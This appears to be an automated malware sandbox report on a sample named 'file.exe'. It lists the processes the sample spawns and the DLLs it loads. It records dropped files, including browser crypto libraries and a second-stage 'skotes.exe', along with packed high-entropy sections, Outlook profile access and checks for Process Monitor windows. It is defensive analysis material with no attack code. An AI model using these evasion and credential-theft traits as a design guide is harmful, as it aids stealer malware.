Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1788,i,42195172221371813,3229964833316750389,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2884 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6688 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3840 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3840 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6960 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDAFBGHCAKK.exe "C:\Users\user\DocumentsDAFBGHCAKK.exe"
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1838080 > 1048576

Source: file.exe

Static PE information: Raw size of zffwgsyd is bigger than: 0x100000 < 0x1a6e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2709487314.000000006FD4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2709487314.000000006FD4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.390000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zffwgsyd:EW;uvgewzbl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zffwgsyd:EW;uvgewzbl:EW;.taggant:EW;
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Unpacked PE file: 27.2.DocumentsDAFBGHCAKK.exe.f70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gpnqxgzn:EW;dyrruobh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gpnqxgzn:EW;dyrruobh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.730000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gpnqxgzn:EW;dyrruobh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gpnqxgzn:EW;dyrruobh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.730000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gpnqxgzn:EW;dyrruobh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gpnqxgzn:EW;dyrruobh:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: real checksum: 0x1cb99d should be: 0x1cc3f4
Source: 87df69758f.exe.32.dr	Static PE information: real checksum: 0x442044 should be: 0x1a3270
Source: random[1].exe.32.dr	Static PE information: real checksum: 0x442044 should be: 0x1a3270
Source: file.exe	Static PE information: real checksum: 0x1c7dd5 should be: 0x1cee6a
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1cb99d should be: 0x1cc3f4
Source: skotes.exe.27.dr	Static PE information: real checksum: 0x1cb99d should be: 0x1cc3f4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zffwgsyd
Source: file.exe	Static PE information: section name: uvgewzbl
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: gpnqxgzn
Source: random[1].exe.0.dr	Static PE information: section name: dyrruobh
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name:
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name:
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name: gpnqxgzn
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name: dyrruobh
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.27.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name: .idata
Source: skotes.exe.27.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name: gpnqxgzn
Source: skotes.exe.27.dr	Static PE information: section name: dyrruobh
Source: skotes.exe.27.dr	Static PE information: section name: .taggant
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: cebskodl
Source: random[1].exe.32.dr	Static PE information: section name: oookxirb
Source: random[1].exe.32.dr	Static PE information: section name: .taggant
Source: 87df69758f.exe.32.dr	Static PE information: section name:
Source: 87df69758f.exe.32.dr	Static PE information: section name: .idata
Source: 87df69758f.exe.32.dr	Static PE information: section name:
Source: 87df69758f.exe.32.dr	Static PE information: section name: cebskodl
Source: 87df69758f.exe.32.dr	Static PE information: section name: oookxirb
Source: 87df69758f.exe.32.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 32_2_0074D91C push ecx; ret

32_2_0074D92F

Source: file.exe	Static PE information: section name: zffwgsyd entropy: 7.953880303053729
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.979110081257215
Source: random[1].exe.0.dr	Static PE information: section name: gpnqxgzn entropy: 7.952759459939472
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name: entropy: 7.979110081257215
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: section name: gpnqxgzn entropy: 7.952759459939472
Source: skotes.exe.27.dr	Static PE information: section name: entropy: 7.979110081257215
Source: skotes.exe.27.dr	Static PE information: section name: gpnqxgzn entropy: 7.952759459939472

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDAFBGHCAKK.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009724001\87df69758f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsDAFBGHCAKK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDAFBGHCAKK.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDAFBGHCAKK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
